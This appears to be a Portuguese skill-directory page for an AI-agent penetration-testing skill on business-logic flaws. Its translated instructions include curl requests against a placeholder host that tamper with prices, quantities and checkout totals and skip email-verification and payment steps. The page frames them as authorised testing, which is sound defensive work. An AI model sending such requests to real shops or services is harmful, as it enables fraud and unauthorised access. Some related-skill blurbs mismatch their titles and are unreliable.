testing-for-business-logic-vulnerabilities
Ensina seu agente de IA a testar o código e achar erros antes dos usuários e proteger aplicações contra ataques.
O que ela faz
Esta ferramenta ajuda a encontrar falhas de segurança em como um site ou aplicativo lida com suas regras de negócio. Ela verifica se é possível burlar processos como pagamentos, descontos ou cadastros, algo que ferramentas automáticas geralmente não encontram.
Quando usar
- ✓Quando testes de segurança automáticos não acham problemas.
- ✓Para verificar se preços ou descontos podem ser alterados indevidamente.
- ✓Ao testar processos com várias etapas, como um cadastro ou checkout.
Exemplo do que pedir para a IA
“Verifique se consigo aplicar um cupom de desconto várias vezes no meu carrinho de compras.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta intercepta as comunicações entre você e o site/aplicativo. Ela permite modificar essas comunicações para tentar burlar as regras, como mudar um preço ou pular uma etapa de verificação.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-business-logic-vulnerabilitiesOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-for-business-logic-vulnerabilities/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Testando Vulnerabilidades de Lógica de Negócios
Quando Usar
- Durante testes de penetração autorizados quando scanners automatizados encontraram poucas vulnerabilidades técnicas
- Ao avaliar plataformas de e-commerce para manipulações de preços, carrinho e fluxo de pagamento
- Para testar fluxos de trabalho de várias etapas (registro, checkout, processos de aprovação) em busca de oportunidades de bypass
- Ao avaliar recursos com limite de taxa, como vales, cupons, indicações e sistemas de recompensas
- Durante avaliações de segurança de aplicações financeiras, sistemas de votação ou qualquer aplicação com regras de negócios críticas
Pré-requisitos
- Autorização: Acordo de teste de penetração por escrito cobrindo testes de lógica de negócios
- Burp Suite Professional: Para interceptar e modificar fluxos de requisição de várias etapas
- Compreensão da Aplicação: Conhecimento aprofundado dos fluxos de trabalho de negócios pretendidos da aplicação
- Múltiplas contas de teste: Contas em diferentes níveis de privilégio e estados
- DevTools do Navegador: Para examinar a lógica de validação do lado do cliente
- Documentação: Requisitos de negócios ou histórias de usuário descrevendo o comportamento esperado
Fluxo de Trabalho
Etapa 1: Mapear Fluxos de Trabalho e Regras de Negócios
Documente todos os processos de negócios críticos e suas restrições esperadas.
# Critical business flows to map:
# 1. Registration/Onboarding flow
# - Email verification requirements
# - Account approval process
# - Role assignment logic
# 2. E-commerce/Purchase flow
# - Product selection → Cart → Checkout → Payment → Confirmation
# - Price calculation logic
# - Discount/coupon application
# - Quantity limits
# - Shipping cost calculation
# 3. Authentication/Authorization flow
# - Login → MFA → Dashboard
# - Password reset → Token → New password
# - Role escalation/approval
# 4. Financial transactions
# - Balance check → Transfer → Confirmation
# - Withdrawal limits
# - Currency conversion
# Document expected constraints:
# - Minimum order amounts
# - Maximum quantity per item
# - Coupon usage limits (one per user)
# - Referral reward caps
# - Withdrawal daily limits
# - Account verification requirements before certain actions
Etapa 2: Testar Manipulação de Preço e Quantidade
Intercepte e modifique os valores de preço, quantidade e total nas requisições.
# Test negative quantity
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": -1, "price": 99.99}' \
"https://target.example.com/api/cart/add"
# Test zero price
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": 1, "price": 0}' \
"https://target.example.com/api/cart/add"
# Test extremely large quantity
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": 999999999}' \
"https://target.example.com/api/cart/add"
# Test decimal/float manipulation
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": 0.001, "price": 0.01}' \
"https://target.example.com/api/cart/add"
# Test integer overflow
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": 2147483647}' \
"https://target.example.com/api/cart/add"
# Modify total amount directly in checkout request
# Intercept in Burp and change total from 299.99 to 0.01
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id": "abc123", "total": 0.01, "payment_method": "card"}' \
"https://target.example.com/api/checkout"
Etapa 3: Testar Bypass de Etapa do Fluxo de Trabalho
Tente pular etapas obrigatórias em processos de várias etapas.
# Pular verificação de e-mail
# Em vez de: Registrar → Verificar e-mail → Acessar painel
# Tente: Registrar → Acessar painel diretamente
curl -s -H "Authorization: Bearer $UNVERIFIED_TOKEN" \
"https://target.example.com/api/dashboard"
# Pular etapa de pagamento
# Em vez de: Carrinho → Frete → Pagamento → Confirmação
# Tente: Carrinho → Confirmação (pular pagamento)
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id": "abc123", "shipping_address": "123 Main St"}' \
"https://target.example.com/api/orders/confirm"
# Pular etapa de MFA
# Em vez de: Login → MFA → Painel
# Tente: Login → Painel (pular MFA)
…
Perguntas frequentes
Preciso de alguma ferramenta especial?
Sim, é recomendado usar o Burp Suite Professional para interceptar e modificar as requisições.
Preciso de permissão para usar?
Sim, é essencial ter autorização por escrito para realizar testes de segurança, especialmente de lógica de negócio.
Isso é diferente de um scanner de vulnerabilidade normal?
Sim, scanners automáticos procuram falhas técnicas conhecidas. Esta ferramenta foca em testar as regras e a lógica interna do aplicativo, que são únicas para cada sistema.
Detalhes
Descrição original do autor
Manually identifies flaws in application business logic - price manipulation, multi-step workflow bypass, and privilege escalation - by intercepting and modifying requests with Burp Suite, going beyond what automated vulnerability scanners detect. Use for e-commerce checkout/cart flows, voucher and rewards systems, or any assessment where scanners find little but business rules need scrutiny.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6220
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
cpp-testing
Faz seu agente escrever e melhorar testes para código C++. Ajuda a configurar ferramentas de teste e a corrigir erros.
affaan-m/ECC
csharp-testing
Ajuda seu agente a criar testes para código C# e .NET. Ele usa as melhores práticas para garantir que os testes sejam eficientes e confiáveis.
affaan-m/ECC
django-tdd
Faz seu agente aplicar estratégias de teste para Django com pytest-django e TDD. É útil para escrever testes robustos e garantir a qualidade do código, especialmente para APIs DRF.
affaan-m/ECC